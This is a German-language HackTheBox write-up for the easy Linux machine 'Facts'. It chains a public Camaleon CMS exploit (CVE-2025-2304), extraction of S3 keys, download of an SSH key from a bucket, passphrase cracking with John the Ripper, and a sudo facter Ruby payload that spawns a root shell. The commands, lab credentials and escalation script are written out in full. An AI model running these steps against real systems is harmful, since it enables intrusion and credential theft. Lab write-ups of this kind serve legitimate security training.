
HackTheBox — Facts (Easy/Linux) | CVE-2025-2304 + AWS S3 + SSH Key + Facter PrivEsc
Facts ist eine einfache Linux-Maschine, die die Ausnutzung einer bekannten Schwachstelle
(CVE-2025-2304) in Camaleon CMS erfordert, um lokale AWS-S3-Zugangsdaten zu extrahieren.
Die Enumeration der internen S3-Buckets offenbart einen SSH-privaten Schlüssel, der mit John the Ripper geknackt werden muss, um ersten Zugang zu erlangen.
Die Privilegienausweitung erfolgt durch die Ausnutzung einer sudo-Fehlkonfiguration bei /usr/bin/facter, die die Ausführung von benutzerdefiniertem Ruby-Code ermöglicht, um eine Root-Shell zu erhalten.
Angriffskette: Nmap → Camaleon CMS (CVE-2025-2304) → S3-Bucket-Enumeration → SSH-Schlüssel-Cracking → sudo facter → Root
Beginnen wir mit einem Nmap-Scan, um die aktiven Dienste auf der Zielmaschine zu identifizieren. Bash
nmap -sV -sC -oN nmap_facts 10.129.244.96
Ergebnisse:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap zeigt zwei offene Ports: 22 (SSH) und 80 (HTTP). Der Webserver basiert auf Nginx. Bevor wir richtig mit der Website interagieren können, sollten wir den Host facts.htb zu unserer /etc/hosts-Datei hinzufügen.
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
Beim Besuch der Website auf Port 80 wird uns eine Standard-Webseite präsentiert. Um versteckte Pfade aufzudecken, starten wir einen Directory-Brute-Force-Angriff (z. B. mit ffuf oder gobuster).
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
Die Enumeration zeigt mehrere interessante Verzeichnisse im Zusammenhang mit einem Admin-Panel (/admin, /admin.php usw.), die alle mit einem 302-Status auf http://facts.htb/admin/login. weiterleiten.

Beim Besuch der Anmeldeseite und der Authentifizierung (oder durch einen Blick in die Fußzeile des Panels) entdecken wir die Technologie hinter der Website: Camaleon CMS.
Ein wichtiges Detail fällt uns in der unteren rechten Ecke auf: Die CMS-Version ist 2.9.0.

Da wir wissen, dass der Server Camaleon CMS 2.9.0 ausführt, führt uns eine schnelle Online-Suche zu einer kritischen Schwachstelle namens CVE-2025-2304, die eine Privilegienausweitung von einem authentifizierten Benutzer zu einem Administrator ermöglicht.
Wir finden einen öffentlichen Exploit auf GitHub (erstellt von Alien0ne) und laden ihn auf unsere Angreifer-Maschine herunter.

Wir starten den Exploit, indem wir die in unserem Besitz befindlichen Zugangsdaten (z. B. mattia:mattia) übergeben, um uns zum Admin zu erheben, sensible Informationen zu extrahieren und dann zur ursprünglichen Rolle zurückzukehren, um keine offensichtlichen Spuren zu hinterlassen.
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
Die Ausgabe des Exploits ist eine Goldgrube: Sie schafft es, lokale AWS-S3-Zugangsdaten und den internen Endpunkt des Servers zu extrahieren.
S3-Zugriffsschlüssel: AKIAA103ACAA5953D888
S3-Geheimschlüssel: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
S3-Endpunkt: http://localhost:54321 (der für uns zu http://facts.htb:54321 wird)

Mit diesen Schlüsseln können wir unsere lokale AWS-CLI konfigurieren, um mit dem von der Maschine bereitgestellten S3-Dienst zu interagieren.
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json
Jetzt können wir die verfügbaren Buckets auflisten, indem wir die benutzerdefinierte Endpunkt-URL übergeben:
aws --endpoint-url http://facts.htb:54321 s3 ls
Wir finden zwei Buckets: internal und randomfacts. Durch die rekursive Erkundung des internal-Buckets entdecken wir einen .ssh-Ordner mit Schlüsseln!
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
Laden wir die Datei id_ed25519 (den SSH-privaten Schlüssel) auf unsere Maschine herunter.
Wir haben den privaten Schlüssel, aber er ist durch eine Passphrase geschützt. Um ihn zu knacken, verwenden wir die John-the-Ripper-Suite. Zuerst konvertieren wir den Schlüssel mit ssh2john in ein Format, das John lesen kann:
ssh2john id_ed25519 > hash.txt
Als Nächstes starten wir den Wörterbuchangriff (mit der benutzerdefinierten Wortliste my_guess.txt oder der klassischen rockyou.txt):
john --wordlist=my_guess.txt hash.txt
Das Passwort wurde erfolgreich geknackt: dragonballz. Jetzt haben wir alles, was wir für den Zugriff auf den Server benötigen!

Jetzt, wo wir alles haben, was wir brauchen, können wir den zweiten offenen Port nutzen, den wir zuvor entdeckt haben: den SSH-Port (22).
ssh -i id_ed25519 [email protected]
Wir verwenden das zuvor gefundene Passwort: dragonballz. Wir sind drin!
Jetzt müssen wir herausfinden, welchen Pfad wir ausnutzen können, um root-Zugriff zu erhalten. Dazu verwenden wir sudo -l.
Pfad:
/usr/bin/facter
Um diesen Pfad auszunutzen, verwenden wir ein Miniskript:
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
Und dann führen wir es aus:
sudo /usr/bin/facter --custom-dir=/tmp pwn

Wir sind offiziell root!!!
Jetzt müssen wir nur noch die beiden Flags finden :)

NMAP — 2 Ports entdeckt (22, 80) ↓ Web-Enumeration — Admin-Bereich gefunden ↓ Camaleon CMS -> CVE-2025-2304 ↓ Exploit + AWS-Einstellungen ↓ John the Ripper für den Hash ↓ SSH-Login ↓ Sudo -l ↓ Skript + Ausführung ↓ ROOT ✅